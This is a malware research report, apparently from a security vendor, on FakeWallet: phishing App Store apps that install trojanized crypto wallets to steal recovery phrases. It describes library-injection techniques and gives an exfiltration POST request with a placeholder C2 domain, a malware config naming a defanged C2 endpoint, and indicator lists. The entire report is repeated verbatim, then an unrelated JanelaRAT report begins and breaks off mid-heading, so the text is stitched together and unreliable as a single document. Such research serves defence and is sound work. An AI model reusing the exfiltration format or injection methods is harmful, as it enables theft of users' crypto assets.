In March 2026, we uncovered more than twenty phishing apps in the Apple App Store masquerading as popular crypto wallets. Once launched, these apps redirect users to browser pages designed to look similar to the App Store and distributing trojanized versions of legitimate wallets. The infected apps are specifically engineered to hijack recovery phrases and private keys. Metadata from the malware suggests this campaign has been flying under the radar since at least the fall of 2025.

We’ve seen this happen before. Back in 2022, ESET researchers spotted compromised crypto wallets distributed through phishing sites. By abusing iOS provisioning profiles to install malware, attackers were able to steal recovery phrases from major hot wallets like Metamask, Coinbase, Trust Wallet, TokenPocket, Bitpie, imToken, and OneKey. Fast forward four years, and the same crypto-theft scheme is gaining momentum again, now featuring new malicious modules, updated injection techniques, and distribution through phishing apps in the App Store.

Kaspersky products detect this threat as HEUR:Trojan-PSW.IphoneOS.FakeWallet.* and HEUR:Trojan.IphoneOS.FakeWallet.*.

Technical details

Background

This past March, we noticed a wave of phishing apps topping the search results in the Chinese App Store, all disguised as popular crypto wallets. Because of regional restrictions, many official crypto wallet apps are currently unavailable to users in China, specifically if they have their Apple ID set to the Chinese region. Scammers are jumping on this opportunity. They’ve launched fake apps using icons that mirror the originals and names with intentional typos – a tactic known as typosquatting – to slip past App Store filters and increase their chances of deceiving users.

In some instances, the app names and icons had absolutely nothing to do with cryptocurrency. However, the promotional banners for these apps claimed that the official wallet was “unavailable in the App Store” and directed users to download it through the app instead.

During our investigation, we identified 26 phishing apps in the App Store mimicking the following major wallets:

• MetaMask
• Ledger
• Trust Wallet
• Coinbase
• TokenPocket
• imToken
• Bitpie

We’ve reported all of these findings to Apple, and several of the malicious apps have already been pulled from the store.

We also identified several similar apps that didn’t have any phishing functionality yet, but showed every sign of being linked to the same threat actors. It’s highly likely that the malicious features were simply waiting to be toggled on in a future update.

The phishing apps featured stubs – functional placeholders that mimicked a legitimate service – designed to make the app appear authentic.  The stub could be a game, a calculator, or a task planner.

However, once you launched the app, it would open a malicious link in your browser. This link kicks off a scheme leveraging provisioning profiles to install infected versions of crypto wallets onto the victim’s device. This technique isn’t exclusive to FakeWallet; other iOS threats, like SparkKitty, use similar methods. These profiles come in a few flavors, one of them being enterprise provisioning profiles. Apple designed these so companies could create and deploy internal apps to employees without going through the App Store or hitting device limits. Enterprise provisioning profiles are a favorite tool for makers of software cracks, cheats, online casinos, pirated mods of popular apps, and malware.

Malicious modules for hot wallets

The attackers have churned out a wide variety of malicious modules, each tailored to a specific wallet. In most cases, the malware is delivered via a malicious library injection, though we’ve also come across builds where the app’s original source code was modified.

To embed the malicious library, the hackers injected load commands into the main executable. This is a standard trick to expand an app’s functionality without a rebuild. Once the library is loaded, the dyld linker triggers initialization functions, if present in the library. We’ve seen this implemented in different ways: sometimes by adding a load method to specific Objective-C classes, and other times through standard C++ functions.

The logic remains the same across all initialization functions: the app loads or initializes its configuration, if available, and then swaps out legitimate class methods for malicious versions. For instance, we found a malicious library named libokexHook.dylib embedded in a modified version of the Coinbase app. It hijacks the original viewDidLoad method within the RecoveryPhraseViewController class, the part of the code responsible for the screen where the user enters their recovery phrase.

The compromised viewDidLoad method works by scanning the screen in the current view controller (the object managing that specific app screen) to hunt for mnemonics – the individual words that make up the seed phrase. Once it finds them, it extracts the data, encrypts it, and beams it back to a C2 server. All these malicious modules follow a specific process to exfiltrate data:

• The extracted mnemonics are stringed together.
• This string is encrypted using RSA with the PKCS #1 scheme.
• The encrypted data is then encoded into Base64.
• Finally, the encoded string – along with metadata like the malicious module type, the app name, and a unique identification code – is sent to the attackers’ server.

In this specific variant, the C2 server address is hardcoded directly into the executable. However, in other versions we’ve analyzed, the Trojan pulls the address from a configuration file tucked away in the app folder.

The POST request used to exfiltrate those encrypted mnemonics looks like this:

POST <c2_domain>/api/open/postByTokenPocket?ciyu=<base64_encoded_encrypted_mnemonics>&code=10001&ciyuType=1&wallet=ledger

The version of the malicious module targeting Trust Wallet stands out from the rest. It skips the initialization functions entirely. Instead, the attackers injected a custom executable section, labeled __hook, directly into the main executable. They placed it right before the __text section, specifically in the memory region usually reserved for load commands in the program header. The first two functions in this section act as trampolines to the dlsym function and the mnemonic validation method within the original WalletCore class. These are followed by two wrapper functions designed to:

• Resolve symbols dataInit or processX0Parameter from the malicious library
• Hand over control to these newly discovered functions
• Execute the code for the original methods that the wrapper was built to replace

These wrappers effectively hijack the methods the app calls whenever a user tries to restore a wallet using a seed phrase or create a new one. By following the same playbook described earlier, the Trojan scrapes the mnemonics directly from the corresponding screens, encrypts them, and beams them back to the C2 server.

The Ledger wallet malicious module

The modules we’ve discussed so far were designed to rip recovery phrases from hot wallets – apps that store and use private keys directly on the device where they are installed. Cold wallets are a different beast: the keys stay on a separate, offline device, and the app is just a user interface with no direct access to them. To get their hands on those assets, the attackers fall back on old-school phishing.

We found two versions of the Ledger implant, one using a malicious library injection and another where the app’s source code itself was tampered with. In the library version, the malware sneaks in through standard entry points:  two Objective-C initialization functions (+[UIViewController load] and +[UIView load]) and a function named entry located in the __mod_init_functions section. Once the malicious library is loaded into the app’s memory, it goes to work:

• The entry function loads a configuration file from the app directory, generates a user UUID, and attempts to send it to the server specified by the login-url The config file looks like this:
  

  {
  	"url": "hxxps://iosfc[.]com/ledger/ios/Rsakeycatch.php", // C2 for mnemonics
  	"code": "10001",                                         // special code	"login-url": "hxxps://xxx[.]com",                                              
  	"login-code": "88761"                                                               
  }

• Two other initialization functions, +[UIViewController load] and +[UIView load], replace certain methods of the original app classes with their malicious payload.
• As soon as the root screen is rendered, the malware traverses the view controller hierarchy and searches for a child screen named add-account-cta or one containing a $ sign:
  • If it is the add-account-cta screen, the Trojan identifies the button responsible for adding a new account and matches its text to a specific language. The Trojan uses this to determine the app’s locale so it can later display a phishing alert in the appropriate language. It then prepares a phishing notification whose content will require the user to pass a “security check”, and stores it in an object of GlobalVariables
  • If it’s a screen with a $ sign in its name, the malware scans its content using a regular expression to extract the wallet balance and attempt to send this balance information to a harmless domain specified in the configuration as login-url. We assume this is outdated testing functionality left in the code by mistake, as the specified domain is unrelated to the malware.
• Then, when any screen is rendered, one of the malicious handlers checks its name. If it is the screen responsible for adding an account or buying/selling cryptocurrency, the malware displays the phishing notification prepared earlier. Clicking on this notification opens a WebView window, where the local HTML file html serves as the page to display.

The verify.html phishing page prompts the user to enter their mnemonics. The malware then checks the seed phrase entered by the user against the BIP-39 dictionary, a standard that uses 2048 mnemonic words to generate seed phrases. Additionally, to lower the victim’s guard, the phishing page is designed to match the app’s style and even supports autocomplete for mnemonics to project quality. The seed phrase is passed to an Objective-C handler, which merges it into a single string, encrypts it using RSA with the PKCS #1 scheme, and sends it to the C2 server along with additional data – such as the malicious module type, app name, and a specific config code – via an HTTP POST request to the /ledger/ios/Rsakeycatch.php endpoint.

The second version of the infected Ledger wallet involves changes made directly to the main code of the app written in React Native. This approach eliminates the need for platform-specific libraries and allows attackers to run the same malicious module across different platforms. Since the Ledger Live source code is publicly available, injecting malicious code into it is a straightforward task for the attackers.
The infected build includes two malicious screens:

• MnemonicVerifyScreen, embedded in PortfolioNavigator
• PrivateKeyVerifyScreen, embedded in MyLedgerNavigator

In the React Native ecosystem, navigators handle switching between different screens. In this case, these specific navigators are triggered when the Portfolio or Device List screens are opened. In the original app, these screens remain inaccessible until the user pairs their cold wallet with the application. This same logic is preserved in the infected version, effectively serving as an anti-debugging technique: the phishing window only appears during a realistic usage scenario.

The MnemonicVerifyScreen appears whenever either of those navigators is activated – whether the user is checking their portfolio or viewing info about a paired device. The PrivateKeyVerifyScreen remains unused – it is designed to handle a private key rather than a mnemonic, specifically the key generated by the wallet based on the entered seed phrase. Since Ledger Live doesn’t give users direct access to private keys or support them for importing wallets, we suspect this specific feature was actually intended for a different app.

Once a victim enters their recovery phrase on the phishing page and hits Confirm, the Trojan creates a separate thread to handle the data exfiltration. It tracks the progress of the transfer by creating three files in the app’s working directory:

• verify-wallet-status.json tracks the current status and the timestamp of the last update.
• verify-wallet-config.json stores the C2 server configuration the malware is currently using.
• verify-wallet-pending.json holds encrypted mnemonics until they’re successfully transmitted to the C2 server. Then the clearPendingMnemonicJob function replaces the contents of the file with an empty JSON dictionary.

Next, the Trojan encrypts the captured mnemonics and sends the resulting value to the C2 server. The data is encrypted using the same algorithm described earlier (RSA encryption followed by Base64 encoding). If the app is closed or minimized, the Trojan checks the status of the previous exfiltration attempt upon restart and resumes the process if it hasn’t been completed.

Other distribution channels, platforms, and the SparkKitty link

During our investigation, we discovered a website mimicking the official Ledger site that hosted links to the same infected apps described above. While we’ve only observed one such example, we’re certain that other similar phishing pages exist across the web.

We also identified several compromised versions of wallet apps for Android, including both previously undiscovered samples and known ones. These instances were distributed through the same malicious pages; however, we found no traces of them in the Google Play Store.

One additional detail: some of the infected apps also contained a SparkKitty module. Interestingly, these modules didn’t show any malicious activity on their own, with mnemonics handled exclusively by the FakeWallet modules. We suspect SparkKitty might be present for one of two reasons: either the authors of both malicious campaigns are linked and forgot to remove it, or it was embedded by different attackers and is currently inactive.

Victims

Since nearly all the phishing apps were exclusive to the Chinese App Store, and the infected wallets themselves were distributed through Chinese-language phishing pages, we can conclude that this campaign primarily targets users in China. However, the malicious modules themselves have no built-in regional restrictions. Furthermore, since the phishing notifications in some variants automatically adapt to the app’s language, users outside of China could easily find themselves in the crosshairs of these attackers.

Attribution

According to our data, the threat actor behind this campaign may be linked to the creators of the SparkKitty Trojan. Several details uncovered during our research point to this connection:

• Some infected apps contained SparkKitty modules alongside the FakeWallet code.
• The attackers behind both campaigns appear to be native Chinese speakers, as the malicious modules frequently use log messages in Chinese.
• Both campaigns distribute infected apps via phishing pages that mimic the official App Store.
• Both campaigns specifically target victims’ cryptocurrency assets.

Conclusion

Our research shows that the FakeWallet campaign is gaining momentum by employing new tactics, ranging from delivering payloads via phishing apps published in the App Store to embedding themselves into cold wallet apps and using sophisticated phishing notifications to trick users into revealing their mnemonics. The fact that these phishing apps bypass initial filters to appear at the top of App Store search results can significantly lower a user’s guard. While the campaign is not exceptionally complex from a technical standpoint, it poses serious risks to users for several reasons:

• Hot wallet attacks: the malware can steal crypto assets during the wallet creation or import phase without any additional user interaction.
• Cold wallet attacks: attackers go to great lengths to make their phishing windows look legitimate, even implementing mnemonic autocomplete to mirror the real user experience and increase their chances of a successful theft.
• Investigation challenges: the technical restrictions imposed by iOS and the broader Apple ecosystem make it difficult to effectively detect and analyze malicious software directly on a device.

Indicators of compromise

Infected cryptowallet IPA file hashes
4126348d783393dd85ede3468e48405d
b639f7f81a8faca9c62fd227fef5e28c
d48b580718b0e1617afc1dec028e9059
bafba3d044a4f674fc9edc67ef6b8a6b
79fe383f0963ae741193989c12aefacc
8d45a67b648d2cb46292ff5041a5dd44
7e678ca2f01dc853e85d13924e6c8a45

Malicious dylib file hashes
be9e0d516f59ae57f5553bcc3cf296d1
fd0dc5d4bba740c7b4cc78c4b19a5840
7b4c61ff418f6fe80cf8adb474278311
8cbd34393d1d54a90be3c2b53d8fc17a
d138a63436b4dd8c5a55d184e025ef99
5bdae6cb778d002c806bb7ed130985f3

Malicious React Native application hash
84c81a5e49291fe60eb9f5c1e2ac184b

Phishing HTML for infected Ledger Live app file hash
19733e0dfa804e3676f97eff90f2e467

Malicious Android file hashes
8f51f82393c6467f9392fb9eb46f9301
114721fbc23ff9d188535bd736a0d30e

Malicious download links
hxxps://www.gxzhrc[.]cn/download/
hxxps://appstoreios[.]com/DjZH?key=646556306F6Q465O313L737N3332939Y353I830F31
hxxps://crypto-stroe[.]cc/
hxxps://yjzhengruol[.]com/s/3f605f
hxxps://6688cf.jhxrpbgq[.]com/6axqkwuq
hxxps://139.180.139[.]209/prod-api/system/confData/getUserConfByKey/
hxxps://xz.apps-store[.]im/s/iuXt?key=646Y563Y6F6H465J313X737U333S9342323N030R34&c=
hxxps://xz.apps-store[.]im/DjZH?key=646B563L6F6N4657313B737U3436335E3833331737
hxxps://xz.apps-store[.]im/s/dDan?key=646756376F6A465D313L737J333993473233038L39&c=
hxxps://xz.apps-store[.]im/CqDq?key=646R563V6F6Y465K313J737G343C3352383R336O35
hxxps://ntm0mdkzymy3n.oukwww[.]com/7nhn7jvv5YieDe7P?0e7b9c78e=686989d97cf0d70346cbde2031207cbf
hxxps://ntm0mdkzymy3n.oukwww[.]com/jFms03nKTf7RIZN8?61f68b07f8=0565364633b5acdd24a498a6a9ab4eca
hxxps://nziwytu5n.lahuafa[.]com/10RsW/mw2ZmvXKUEbzI0n
hxxps://zdrhnmjjndu.ulbcl[.]com/7uchSEp6DIEAqux?a3f65e=417ae7f384c49de8c672aec86d5a2860
hxxps://zdrhnmjjndu.ulbcl[.]com/tWe0ASmXJbDz3KGh?4a1bbe6d=31d25ddf2697b9e13ee883fff328b22f
hxxps://api.npoint[.]io/153b165a59f8f7d7b097
hxxps://mti4ywy4.lahuafa[.]com/UVB2U/mw2ZmvXKUEbzI0n
hxxps://mtjln.siyangoil[.]com/08dT284P/1ZMz5Xmb0EoQZVvS5
hxxps://odm0.siyangoil[.]com/TYTmtV8t/JG6T5nvM1AYqAcN
hxxps://mgi1y.siyangoil[.]com/vmzLvi4Dh/1Dd0m4BmAuhVVCbzF
hxxps://mziyytm5ytk.ahroar[.]com/kAN2pIEaariFb8Yc
hxxps://ngy2yjq0otlj.ahroar[.]com/EpCXMKDMx1roYGJ
hxxps://ngy2yjq0otlj.ahroar[.]com/17pIWJfr9DBiXYrSb

C2 addresses
hxxps://kkkhhhnnn[.]com/api/open/postByTokenpocket
hxxps://helllo2025[.]com/api/open/postByTokenpocket
hxxps://sxsfcc[.]com/api/open/postByTokenpocket
hxxps://iosfc[.]com/ledger/ios/Rsakeycatch.php
hxxps://nmu8n[.]com/tpocket/ios/Rsakeyword.php
hxxps://zmx6f[.]com/btp/ios/receiRsakeyword.php
hxxps://api.dc1637[.]xyz

In March 2026, we uncovered more than twenty phishing apps in the Apple App Store masquerading as popular crypto wallets. Once launched, these apps redirect users to browser pages designed to look similar to the App Store and distributing trojanized versions of legitimate wallets. The infected apps are specifically engineered to hijack recovery phrases and private keys. Metadata from the malware suggests this campaign has been flying under the radar since at least the fall of 2025.

We’ve seen this happen before. Back in 2022, ESET researchers spotted compromised crypto wallets distributed through phishing sites. By abusing iOS provisioning profiles to install malware, attackers were able to steal recovery phrases from major hot wallets like Metamask, Coinbase, Trust Wallet, TokenPocket, Bitpie, imToken, and OneKey. Fast forward four years, and the same crypto-theft scheme is gaining momentum again, now featuring new malicious modules, updated injection techniques, and distribution through phishing apps in the App Store.

Kaspersky products detect this threat as HEUR:Trojan-PSW.IphoneOS.FakeWallet.* and HEUR:Trojan.IphoneOS.FakeWallet.*.

Technical details

Background

This past March, we noticed a wave of phishing apps topping the search results in the Chinese App Store, all disguised as popular crypto wallets. Because of regional restrictions, many official crypto wallet apps are currently unavailable to users in China, specifically if they have their Apple ID set to the Chinese region. Scammers are jumping on this opportunity. They’ve launched fake apps using icons that mirror the originals and names with intentional typos – a tactic known as typosquatting – to slip past App Store filters and increase their chances of deceiving users.

In some instances, the app names and icons had absolutely nothing to do with cryptocurrency. However, the promotional banners for these apps claimed that the official wallet was “unavailable in the App Store” and directed users to download it through the app instead.

During our investigation, we identified 26 phishing apps in the App Store mimicking the following major wallets:

• MetaMask
• Ledger
• Trust Wallet
• Coinbase
• TokenPocket
• imToken
• Bitpie

We’ve reported all of these findings to Apple, and several of the malicious apps have already been pulled from the store.

We also identified several similar apps that didn’t have any phishing functionality yet, but showed every sign of being linked to the same threat actors. It’s highly likely that the malicious features were simply waiting to be toggled on in a future update.

The phishing apps featured stubs – functional placeholders that mimicked a legitimate service – designed to make the app appear authentic.  The stub could be a game, a calculator, or a task planner.

However, once you launched the app, it would open a malicious link in your browser. This link kicks off a scheme leveraging provisioning profiles to install infected versions of crypto wallets onto the victim’s device. This technique isn’t exclusive to FakeWallet; other iOS threats, like SparkKitty, use similar methods. These profiles come in a few flavors, one of them being enterprise provisioning profiles. Apple designed these so companies could create and deploy internal apps to employees without going through the App Store or hitting device limits. Enterprise provisioning profiles are a favorite tool for makers of software cracks, cheats, online casinos, pirated mods of popular apps, and malware.

Malicious modules for hot wallets

The attackers have churned out a wide variety of malicious modules, each tailored to a specific wallet. In most cases, the malware is delivered via a malicious library injection, though we’ve also come across builds where the app’s original source code was modified.

To embed the malicious library, the hackers injected load commands into the main executable. This is a standard trick to expand an app’s functionality without a rebuild. Once the library is loaded, the dyld linker triggers initialization functions, if present in the library. We’ve seen this implemented in different ways: sometimes by adding a load method to specific Objective-C classes, and other times through standard C++ functions.

The logic remains the same across all initialization functions: the app loads or initializes its configuration, if available, and then swaps out legitimate class methods for malicious versions. For instance, we found a malicious library named libokexHook.dylib embedded in a modified version of the Coinbase app. It hijacks the original viewDidLoad method within the RecoveryPhraseViewController class, the part of the code responsible for the screen where the user enters their recovery phrase.

The compromised viewDidLoad method works by scanning the screen in the current view controller (the object managing that specific app screen) to hunt for mnemonics – the individual words that make up the seed phrase. Once it finds them, it extracts the data, encrypts it, and beams it back to a C2 server. All these malicious modules follow a specific process to exfiltrate data:

• The extracted mnemonics are stringed together.
• This string is encrypted using RSA with the PKCS #1 scheme.
• The encrypted data is then encoded into Base64.
• Finally, the encoded string – along with metadata like the malicious module type, the app name, and a unique identification code – is sent to the attackers’ server.

In this specific variant, the C2 server address is hardcoded directly into the executable. However, in other versions we’ve analyzed, the Trojan pulls the address from a configuration file tucked away in the app folder.

The POST request used to exfiltrate those encrypted mnemonics looks like this:

POST <c2_domain>/api/open/postByTokenPocket?ciyu=<base64_encoded_encrypted_mnemonics>&code=10001&ciyuType=1&wallet=ledger

The version of the malicious module targeting Trust Wallet stands out from the rest. It skips the initialization functions entirely. Instead, the attackers injected a custom executable section, labeled __hook, directly into the main executable. They placed it right before the __text section, specifically in the memory region usually reserved for load commands in the program header. The first two functions in this section act as trampolines to the dlsym function and the mnemonic validation method within the original WalletCore class. These are followed by two wrapper functions designed to:

• Resolve symbols dataInit or processX0Parameter from the malicious library
• Hand over control to these newly discovered functions
• Execute the code for the original methods that the wrapper was built to replace

These wrappers effectively hijack the methods the app calls whenever a user tries to restore a wallet using a seed phrase or create a new one. By following the same playbook described earlier, the Trojan scrapes the mnemonics directly from the corresponding screens, encrypts them, and beams them back to the C2 server.

The Ledger wallet malicious module

The modules we’ve discussed so far were designed to rip recovery phrases from hot wallets – apps that store and use private keys directly on the device where they are installed. Cold wallets are a different beast: the keys stay on a separate, offline device, and the app is just a user interface with no direct access to them. To get their hands on those assets, the attackers fall back on old-school phishing.

We found two versions of the Ledger implant, one using a malicious library injection and another where the app’s source code itself was tampered with. In the library version, the malware sneaks in through standard entry points:  two Objective-C initialization functions (+[UIViewController load] and +[UIView load]) and a function named entry located in the __mod_init_functions section. Once the malicious library is loaded into the app’s memory, it goes to work:

• The entry function loads a configuration file from the app directory, generates a user UUID, and attempts to send it to the server specified by the login-url The config file looks like this:
  

  {
  	"url": "hxxps://iosfc[.]com/ledger/ios/Rsakeycatch.php", // C2 for mnemonics
  	"code": "10001",                                         // special code	"login-url": "hxxps://xxx[.]com",                                              
  	"login-code": "88761"                                                               
  }

• Two other initialization functions, +[UIViewController load] and +[UIView load], replace certain methods of the original app classes with their malicious payload.
• As soon as the root screen is rendered, the malware traverses the view controller hierarchy and searches for a child screen named add-account-cta or one containing a $ sign:
  • If it is the add-account-cta screen, the Trojan identifies the button responsible for adding a new account and matches its text to a specific language. The Trojan uses this to determine the app’s locale so it can later display a phishing alert in the appropriate language. It then prepares a phishing notification whose content will require the user to pass a “security check”, and stores it in an object of GlobalVariables
  • If it’s a screen with a $ sign in its name, the malware scans its content using a regular expression to extract the wallet balance and attempt to send this balance information to a harmless domain specified in the configuration as login-url. We assume this is outdated testing functionality left in the code by mistake, as the specified domain is unrelated to the malware.
• Then, when any screen is rendered, one of the malicious handlers checks its name. If it is the screen responsible for adding an account or buying/selling cryptocurrency, the malware displays the phishing notification prepared earlier. Clicking on this notification opens a WebView window, where the local HTML file html serves as the page to display.

The verify.html phishing page prompts the user to enter their mnemonics. The malware then checks the seed phrase entered by the user against the BIP-39 dictionary, a standard that uses 2048 mnemonic words to generate seed phrases. Additionally, to lower the victim’s guard, the phishing page is designed to match the app’s style and even supports autocomplete for mnemonics to project quality. The seed phrase is passed to an Objective-C handler, which merges it into a single string, encrypts it using RSA with the PKCS #1 scheme, and sends it to the C2 server along with additional data – such as the malicious module type, app name, and a specific config code – via an HTTP POST request to the /ledger/ios/Rsakeycatch.php endpoint.

The second version of the infected Ledger wallet involves changes made directly to the main code of the app written in React Native. This approach eliminates the need for platform-specific libraries and allows attackers to run the same malicious module across different platforms. Since the Ledger Live source code is publicly available, injecting malicious code into it is a straightforward task for the attackers.
The infected build includes two malicious screens:

• MnemonicVerifyScreen, embedded in PortfolioNavigator
• PrivateKeyVerifyScreen, embedded in MyLedgerNavigator

In the React Native ecosystem, navigators handle switching between different screens. In this case, these specific navigators are triggered when the Portfolio or Device List screens are opened. In the original app, these screens remain inaccessible until the user pairs their cold wallet with the application. This same logic is preserved in the infected version, effectively serving as an anti-debugging technique: the phishing window only appears during a realistic usage scenario.

The MnemonicVerifyScreen appears whenever either of those navigators is activated – whether the user is checking their portfolio or viewing info about a paired device. The PrivateKeyVerifyScreen remains unused – it is designed to handle a private key rather than a mnemonic, specifically the key generated by the wallet based on the entered seed phrase. Since Ledger Live doesn’t give users direct access to private keys or support them for importing wallets, we suspect this specific feature was actually intended for a different app.

Once a victim enters their recovery phrase on the phishing page and hits Confirm, the Trojan creates a separate thread to handle the data exfiltration. It tracks the progress of the transfer by creating three files in the app’s working directory:

• verify-wallet-status.json tracks the current status and the timestamp of the last update.
• verify-wallet-config.json stores the C2 server configuration the malware is currently using.
• verify-wallet-pending.json holds encrypted mnemonics until they’re successfully transmitted to the C2 server. Then the clearPendingMnemonicJob function replaces the contents of the file with an empty JSON dictionary.

Next, the Trojan encrypts the captured mnemonics and sends the resulting value to the C2 server. The data is encrypted using the same algorithm described earlier (RSA encryption followed by Base64 encoding). If the app is closed or minimized, the Trojan checks the status of the previous exfiltration attempt upon restart and resumes the process if it hasn’t been completed.

Other distribution channels, platforms, and the SparkKitty link

During our investigation, we discovered a website mimicking the official Ledger site that hosted links to the same infected apps described above. While we’ve only observed one such example, we’re certain that other similar phishing pages exist across the web.

We also identified several compromised versions of wallet apps for Android, including both previously undiscovered samples and known ones. These instances were distributed through the same malicious pages; however, we found no traces of them in the Google Play Store.

One additional detail: some of the infected apps also contained a SparkKitty module. Interestingly, these modules didn’t show any malicious activity on their own, with mnemonics handled exclusively by the FakeWallet modules. We suspect SparkKitty might be present for one of two reasons: either the authors of both malicious campaigns are linked and forgot to remove it, or it was embedded by different attackers and is currently inactive.

Victims

Since nearly all the phishing apps were exclusive to the Chinese App Store, and the infected wallets themselves were distributed through Chinese-language phishing pages, we can conclude that this campaign primarily targets users in China. However, the malicious modules themselves have no built-in regional restrictions. Furthermore, since the phishing notifications in some variants automatically adapt to the app’s language, users outside of China could easily find themselves in the crosshairs of these attackers.

Attribution

According to our data, the threat actor behind this campaign may be linked to the creators of the SparkKitty Trojan. Several details uncovered during our research point to this connection:

• Some infected apps contained SparkKitty modules alongside the FakeWallet code.
• The attackers behind both campaigns appear to be native Chinese speakers, as the malicious modules frequently use log messages in Chinese.
• Both campaigns distribute infected apps via phishing pages that mimic the official App Store.
• Both campaigns specifically target victims’ cryptocurrency assets.

Conclusion

Our research shows that the FakeWallet campaign is gaining momentum by employing new tactics, ranging from delivering payloads via phishing apps published in the App Store to embedding themselves into cold wallet apps and using sophisticated phishing notifications to trick users into revealing their mnemonics. The fact that these phishing apps bypass initial filters to appear at the top of App Store search results can significantly lower a user’s guard. While the campaign is not exceptionally complex from a technical standpoint, it poses serious risks to users for several reasons:

• Hot wallet attacks: the malware can steal crypto assets during the wallet creation or import phase without any additional user interaction.
• Cold wallet attacks: attackers go to great lengths to make their phishing windows look legitimate, even implementing mnemonic autocomplete to mirror the real user experience and increase their chances of a successful theft.
• Investigation challenges: the technical restrictions imposed by iOS and the broader Apple ecosystem make it difficult to effectively detect and analyze malicious software directly on a device.

Indicators of compromise

Infected cryptowallet IPA file hashes
4126348d783393dd85ede3468e48405d
b639f7f81a8faca9c62fd227fef5e28c
d48b580718b0e1617afc1dec028e9059
bafba3d044a4f674fc9edc67ef6b8a6b
79fe383f0963ae741193989c12aefacc
8d45a67b648d2cb46292ff5041a5dd44
7e678ca2f01dc853e85d13924e6c8a45

Malicious dylib file hashes
be9e0d516f59ae57f5553bcc3cf296d1
fd0dc5d4bba740c7b4cc78c4b19a5840
7b4c61ff418f6fe80cf8adb474278311
8cbd34393d1d54a90be3c2b53d8fc17a
d138a63436b4dd8c5a55d184e025ef99
5bdae6cb778d002c806bb7ed130985f3

Malicious React Native application hash
84c81a5e49291fe60eb9f5c1e2ac184b

Phishing HTML for infected Ledger Live app file hash
19733e0dfa804e3676f97eff90f2e467

Malicious Android file hashes
8f51f82393c6467f9392fb9eb46f9301
114721fbc23ff9d188535bd736a0d30e

Malicious download links
hxxps://www.gxzhrc[.]cn/download/
hxxps://appstoreios[.]com/DjZH?key=646556306F6Q465O313L737N3332939Y353I830F31
hxxps://crypto-stroe[.]cc/
hxxps://yjzhengruol[.]com/s/3f605f
hxxps://6688cf.jhxrpbgq[.]com/6axqkwuq
hxxps://139.180.139[.]209/prod-api/system/confData/getUserConfByKey/
hxxps://xz.apps-store[.]im/s/iuXt?key=646Y563Y6F6H465J313X737U333S9342323N030R34&c=
hxxps://xz.apps-store[.]im/DjZH?key=646B563L6F6N4657313B737U3436335E3833331737
hxxps://xz.apps-store[.]im/s/dDan?key=646756376F6A465D313L737J333993473233038L39&c=
hxxps://xz.apps-store[.]im/CqDq?key=646R563V6F6Y465K313J737G343C3352383R336O35
hxxps://ntm0mdkzymy3n.oukwww[.]com/7nhn7jvv5YieDe7P?0e7b9c78e=686989d97cf0d70346cbde2031207cbf
hxxps://ntm0mdkzymy3n.oukwww[.]com/jFms03nKTf7RIZN8?61f68b07f8=0565364633b5acdd24a498a6a9ab4eca
hxxps://nziwytu5n.lahuafa[.]com/10RsW/mw2ZmvXKUEbzI0n
hxxps://zdrhnmjjndu.ulbcl[.]com/7uchSEp6DIEAqux?a3f65e=417ae7f384c49de8c672aec86d5a2860
hxxps://zdrhnmjjndu.ulbcl[.]com/tWe0ASmXJbDz3KGh?4a1bbe6d=31d25ddf2697b9e13ee883fff328b22f
hxxps://api.npoint[.]io/153b165a59f8f7d7b097
hxxps://mti4ywy4.lahuafa[.]com/UVB2U/mw2ZmvXKUEbzI0n
hxxps://mtjln.siyangoil[.]com/08dT284P/1ZMz5Xmb0EoQZVvS5
hxxps://odm0.siyangoil[.]com/TYTmtV8t/JG6T5nvM1AYqAcN
hxxps://mgi1y.siyangoil[.]com/vmzLvi4Dh/1Dd0m4BmAuhVVCbzF
hxxps://mziyytm5ytk.ahroar[.]com/kAN2pIEaariFb8Yc
hxxps://ngy2yjq0otlj.ahroar[.]com/EpCXMKDMx1roYGJ
hxxps://ngy2yjq0otlj.ahroar[.]com/17pIWJfr9DBiXYrSb

C2 addresses
hxxps://kkkhhhnnn[.]com/api/open/postByTokenpocket
hxxps://helllo2025[.]com/api/open/postByTokenpocket
hxxps://sxsfcc[.]com/api/open/postByTokenpocket
hxxps://iosfc[.]com/ledger/ios/Rsakeycatch.php
hxxps://nmu8n[.]com/tpocket/ios/Rsakeyword.php
hxxps://zmx6f[.]com/btp/ios/receiRsakeyword.php
hxxps://api.dc1637[.]xyz

Background

JanelaRAT is a malware family that takes its name from the Portuguese word “janela” which means “window”. JanelaRAT looks for financial and cryptocurrency data from specific banks and financial institutions in the Latin America region.

JanelaRAT is a modified variant of BX RAT that has targeted users since June 2023. One of the key differences between these Trojans is that JanelaRAT uses a custom title bar detection mechanism to identify desired websites in victims’ browsers and perform malicious actions.

The threat actors behind JanelaRAT campaigns continuously update the infection chain and malware versions by adding new features.

Kaspersky solutions detect this threat as Trojan.Script.Generic and Backdoor.MSIL.Agent.gen.

Initial infection

JanelaRAT campaigns involve a multi-stage infection chain. It starts with emails mimicking the delivery of pending invoices to trick victims into downloading a PDF file by clicking a malicious link. Then the victims are redirected to a malicious website from which a compressed file is downloaded.

Throughout our monitoring of these malware campaigns, the compressed files have typically contained VBScripts, XML files, other ZIP archives, and BAT files. They ultimately lead to downloading a ZIP archive that contains components for DLL sideloading and executing JanelaRAT as the final payload.

However, we have observed variations in the infection chains depending on the delivered version of the malware. The latest observed campaign evolved by integrating MSI files to deliver a legitimate PE32 executable and a DLL, which is then sideloaded by the executable. This DLL is actually JanelaRAT, delivered as the final payload.

Based on our analysis of previous JanelaRAT intrusions, the updates in the infection chain represent threat actors’ attempts to streamline the process, with a reduced number of malware installation steps. We’ve observed a logical sequence in how components, such as MSI files, have been incorporated and adapted over time. Moreover, we have observed the use of auxiliary files — additional components that aid in the infection — such as configuration files that have been changing over time, showing how the threat actors have adapted these infections in an effort to avoid detection.

Initial dropper

The MSI file acts as an initial dropper designed to install the final implant and establish persistence on the system. It obfuscates file paths and names with the objective to hinder analysis. This code is designed to create several ActiveX objects to manipulate the file system and execute malicious commands.

Among the actions taken, the MSI defines paths based on environment variables for hosting binaries, creating a startup shortcut, and storing a first-run indicator file. The dropper file checks for the existence of the latter and for a specific path, and if either is missing, it creates them. If the file exists, the MSI file redirects the user to an external website as a decoy, showing that everything is “normal”.

The MSI dropper places two files at a specified path: the legitimate executable nevasca.exe and the PixelPaint.dll library, renaming them with obfuscated combinations of random strings before relocating. An LNK shortcut is created in the user’s Startup folder, pointing to the renamed nevasca.exe executable, ensuring persistence. Finally, the nevasca.exe file is executed, which in turn loads the PixelPaint.dll file that is JanelaRAT.

Malicious implant

